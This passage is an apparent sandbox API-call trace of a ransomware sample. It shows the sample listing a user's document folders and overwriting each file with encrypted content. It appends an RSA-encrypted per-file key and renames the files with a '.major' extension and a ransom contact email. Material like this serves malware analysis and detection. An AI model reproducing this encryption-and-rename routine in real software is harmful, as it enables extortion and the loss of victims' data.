pbBuffer=0x45b234) returned 1 [0169.856] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\4dI6f R6nP33tSY.doc", dwFileAttributes=0x80) returned 1 [0169.856] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\4dI6f R6nP33tSY.doc" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ikcsrio9dln\\4di6f r6np33tsy.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0169.856] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4874) returned 1 [0169.856] ReadFile (in: hFile=0x79c, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x130a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x130a, lpOverlapped=0x0) returned 1 [0169.857] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-4874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.857] WriteFile (in: hFile=0x79c, lpBuffer=0x65a3f0*, nNumberOfBytesToWrite=0x130a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a3f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x130a, lpOverlapped=0x0) returned 1 [0169.857] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x130a [0169.857] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.857] WriteFile (in: hFile=0x79c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.857] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.857] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.858] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.858] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="GfVWTBOjlHsgflFLjs6lre3yUz2iuW/UVuMPv2SQ3ngKIWt/clNySkSDoRyc/hVP\nhI/5lnIo7M8VnGamXAbJBKh3blc6XMj62ri50qVXArJYuWgZPfMnczaTFyuKak80\ngbypgp2UuoYf90cTvAkARkXfX2NjSq2cLHrTrCbnnzzWmg7Z/sVQwcFTe0UEYLxF\n4RmebNVCpFLKO8/IVj0l6wFBUhTzubR/Sw5ipxtfOKqqqZQEZLpU8DTfbbWviQgf\nMfeaCrA8qnS/ssHjs+O+IcaBkS1CzevKM934gEzxFHQyMxlsBQdX3ThvDCVyf2oF\nrwPwIHN0AxWev1uKMjUcbg==\n", pcchString=0x2e3f9a8) returned 1 [0169.858] WriteFile (in: hFile=0x79c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.858] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.858] WriteFile (in: hFile=0x79c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.858] CloseHandle (hObject=0x79c) returned 1 [0169.861] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3de9e120, ftCreationTime.dwHighDateTime=0x1d4c7b6, ftLastAccessTime.dwLowDateTime=0x9af89730, ftLastAccessTime.dwHighDateTime=0x1d4cf3b, ftLastWriteTime.dwLowDateTime=0x1c76d9cc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653da0 [0169.861] FindNextFileW (in: hFindFile=0x653da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3de9e120, ftCreationTime.dwHighDateTime=0x1d4c7b6, ftLastAccessTime.dwLowDateTime=0x9af89730, ftLastAccessTime.dwHighDateTime=0x1d4cf3b, ftLastWriteTime.dwLowDateTime=0x1c76d9cc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.862] FindNextFileW (in: hFindFile=0x653da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96a27cc0, ftCreationTime.dwHighDateTime=0x1d4c796, ftLastAccessTime.dwLowDateTime=0x8d5f8940, ftLastAccessTime.dwHighDateTime=0x1d4cc9c, ftLastWriteTime.dwLowDateTime=0x8d5f8940, ftLastWriteTime.dwHighDateTime=0x1d4cc9c, nFileSizeHigh=0x0, nFileSizeLow=0x7fb4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="gHM7JVbvUObuO.csv", cAlternateFileName="GHM7JV~1.CSV")) returned 1 [0169.862] FindNextFileW (in: hFindFile=0x653da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91d7bf40, ftCreationTime.dwHighDateTime=0x1d4d310, ftLastAccessTime.dwLowDateTime=0x5cd97f0, ftLastAccessTime.dwHighDateTime=0x1d4ce37, ftLastWriteTime.dwLowDateTime=0x5cd97f0, ftLastWriteTime.dwHighDateTime=0x1d4ce37, nFileSizeHigh=0x0, nFileSizeLow=0xfe1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="KAOq7VmuVrL0X1.pdf", cAlternateFileName="KAOQ7V~1.PDF")) returned 1 [0169.862] FindNextFileW (in: hFindFile=0x653da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceb4c760, ftCreationTime.dwHighDateTime=0x1d4c595, ftLastAccessTime.dwLowDateTime=0x4a502ee0, ftLastAccessTime.dwHighDateTime=0x1d4c588, ftLastWriteTime.dwLowDateTime=0x4a502ee0, ftLastWriteTime.dwHighDateTime=0x1d4c588, nFileSizeHigh=0x0, nFileSizeLow=0x8176, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="lESm.ods", cAlternateFileName="")) returned 1 [0169.862] FindNextFileW (in: hFindFile=0x653da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c76d9cc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c76d9cc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c76d9cc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.862] FindNextFileW (in: hFindFile=0x653da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50188700, ftCreationTime.dwHighDateTime=0x1d4d09b, ftLastAccessTime.dwLowDateTime=0x2a0d1a10, ftLastAccessTime.dwHighDateTime=0x1d4cfbc, ftLastWriteTime.dwLowDateTime=0x2a0d1a10, ftLastWriteTime.dwHighDateTime=0x1d4cfbc, nFileSizeHigh=0x0, nFileSizeLow=0x172a7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vwMpe4oHSw0w3Nx2.odt", cAlternateFileName="VWMPE4~1.ODT")) returned 1 [0169.862] FindNextFileW (in: hFindFile=0x653da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50188700, ftCreationTime.dwHighDateTime=0x1d4d09b, ftLastAccessTime.dwLowDateTime=0x2a0d1a10, ftLastAccessTime.dwHighDateTime=0x1d4cfbc, ftLastWriteTime.dwLowDateTime=0x2a0d1a10, ftLastWriteTime.dwHighDateTime=0x1d4cfbc, nFileSizeHigh=0x0, nFileSizeLow=0x172a7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vwMpe4oHSw0w3Nx2.odt", cAlternateFileName="VWMPE4~1.ODT")) returned 0 [0169.862] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.862] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\vwMpe4oHSw0w3Nx2.odt", dwFileAttributes=0x80) returned 1 [0169.862] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\vwMpe4oHSw0w3Nx2.odt" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\vwmpe4ohsw0w3nx2.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0 [0169.863] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=94887) returned 1 [0169.863] ReadFile (in: hFile=0x7a0, lpBuffer=0x2ea0f38, nNumberOfBytesToRead=0x172a7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesRead=0x2e3f9b4*=0x172a7, lpOverlapped=0x0) returned 1 [0169.865] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=-94887, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.865] WriteFile (in: hFile=0x7a0, lpBuffer=0x2eb81e8*, nNumberOfBytesToWrite=0x172a7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2eb81e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x172a7, lpOverlapped=0x0) returned 1 [0169.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ea0f38 | out: hHeap=0x570000) returned 1 [0169.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2eb81e8 | out: hHeap=0x570000) returned 1 [0169.865] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x172a7 [0169.866] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.866] WriteFile (in: hFile=0x7a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.866] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.866] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.866] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.866] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="cZbiWnp5hOhgAwKo8mtO/qNWUbB6It+qbcBcXKD45xSFH70AtXKM+KEvIqOC09Vp\ntiHfSoJmWW9uR7+HpVUmmvhgqgNNmY39mMbL5JDVtVv0VNwq2u5uT7GeRfOnDczq\n2sHn6azTl4mZJrvrG0nm0LW7AN3CeCRD/KstEqKG1svXEqFjzJj9MK87mal14pdY\nhWnTFqpE18zN7q5rISElvhe8/3XXOuiDLDnK0O34NRhJezecZAhphe7NhzZqgpt9\n067qwttgHC32eKgNSUfiBnzW/ZisAKFQrfHPBFGE7HVQ2c+XkSq/8P0qMKygWeyZ\nNGG/CdVWTOPML6Fiw3URog==\n", pcchString=0x2e3f9a8) returned 1 [0169.866] WriteFile (in: hFile=0x7a0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.866] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.866] WriteFile (in: hFile=0x7a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.866] CloseHandle (hObject=0x7a0) returned 1 [0169.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.866] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\vwMpe4oHSw0w3Nx2.odt" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\vwmpe4ohsw0w3nx2.odt"), lpNewFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\vwMpe4oHSw0w3Nx2.odt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\vwmpe4ohsw0w3nx2.odt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518c8 | out: hHeap=0x570000) returned 1 [0169.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657028 | out: hHeap=0x570000) returned 1 [0169.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655c30 | out: hHeap=0x570000) returned 1 [0169.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6560c8 | out: hHeap=0x570000) returned 1 [0169.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652f58 [0169.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ec0 [0169.868] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.868] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\lESm.ods", dwFileAttributes=0x80) returned 1 [0169.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x657d78 [0169.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x58e0b8 [0169.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657d78 | out: hHeap=0x570000) returned 1 [0169.868] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\lESm.ods" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\lesm.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0 [0169.868] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=33142) returned 1 [0169.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8176) returned 0x6590d8 [0169.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8176) returned 0x661258 [0169.869] ReadFile (in: hFile=0x7a0, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x8176, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x8176, lpOverlapped=0x0) returned 1 [0169.870] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=-33142, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.870] WriteFile (in: hFile=0x7a0, lpBuffer=0x661258*, nNumberOfBytesToWrite=0x8176, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661258*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8176, lpOverlapped=0x0) returned 1 [0169.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661258 | out: hHeap=0x570000) returned 1 [0169.870] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8176 [0169.870] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.870] WriteFile (in: hFile=0x7a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.870] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.870] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ptQeCA+zBQ5ZdJAHmrU26Tx3+HNWqEqemp5cZhcb190Ujees2WJ/0qUuIzCeTY/m\nB50ObZ7/LLqzktpO59WgZnb+1zAnm6Jo9SunE+JFZcRcwtBChZzmW6+XK6cl1BsA\nxZs1VzPk9fdiNl6wD6gNDtwPoJRWDFpIf1M/97yuhXuaOkcGFE1QyZpk0j5BWJJT\ng5amNBJj3lh66DOh7qdIvebLT0tbi0qVAxOWKELlNO5wjOGQTdnd8LFa20DkSzRu\ncdEqMB+ZGqpyDzRvJnB9aCB17j5qJiP1olp6yvgZOc7DsyP8oggcsdpH1KAUH0BS\nXXocTSnYOoMw/i8IatT6hw==\n", pcchString=0x2e3f9a8) returned 1 [0169.871] WriteFile (in: hFile=0x7a0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.871] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.871] WriteFile (in: hFile=0x7a0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.871] CloseHandle (hObject=0x7a0) returned 1 [0169.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.871] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\lESm.ods" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\lesm.ods"), lpNewFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\lESm.ods.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\lesm.ods.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0169.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ec0 | out: hHeap=0x570000) returned 1 [0169.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652f58 | out: hHeap=0x570000) returned 1 [0169.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ff0 | out: hHeap=0x570000) returned 1 [0169.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x655a38 [0169.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f60 [0169.873] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.873] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\KAOq7VmuVrL0X1.pdf", dwFileAttributes=0x80) returned 1 [0169.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x655ae0 [0169.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x651ca8 [0169.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655ae0 | out: hHeap=0x570000) returned 1 [0169.873] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\KAOq7VmuVrL0X1.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\kaoq7vmuvrl0x1.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0 [0169.874] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4065) returned 1 [0169.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfe1) returned 0x6590d8 [0169.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfe1) returned 0x65a0c8 [0169.874] ReadFile (in: hFile=0x7a0, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xfe1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xfe1, lpOverlapped=0x0) returned 1 [0169.875] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=-4065, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.875] WriteFile (in: hFile=0x7a0, lpBuffer=0x65a0c8*, nNumberOfBytesToWrite=0xfe1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfe1, lpOverlapped=0x0) returned 1 [0169.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65a0c8 | out: hHeap=0x570000) returned 1 [0169.875] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfe1 [0169.875] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.875] WriteFile (in: hFile=0x7a0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.875] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.875] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.875] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.876] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="r9W0I9UHrYmBhMO9IiBFHOwdECqUKD1RK6baH03cWpPYdFdIBUKX46jIwUcTNtC9\nScvn5aRZQFVyoEUFxkJh9AL2A2cAtPh60suyRBYhq/qo+HGMF5bOesISYzM57dyH\nJBKdb/aOqInARZmxRrKnMts2sJfqLgvGz2vi5Wudqnz7vWJGI+cS6E2OTvIXnt8v\n52SHvLkuYpOE5IHQoo9PGUhXOwgJ3msAjLw0FBbgANZidD/mUkDpRHl9dNoGGALd\n+XNvWqy/EtdlBrflPuvUDX1COSQaRb+ZarKabjxZ7Mhk5l65RJCQVvwXRbiSVSNL\noec06QlZNbHXpmzVVObXPQ==\n", pcchString=0x2e3f9a8) returned 1 [0169.876] WriteFile (in: hFile=0x7a0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 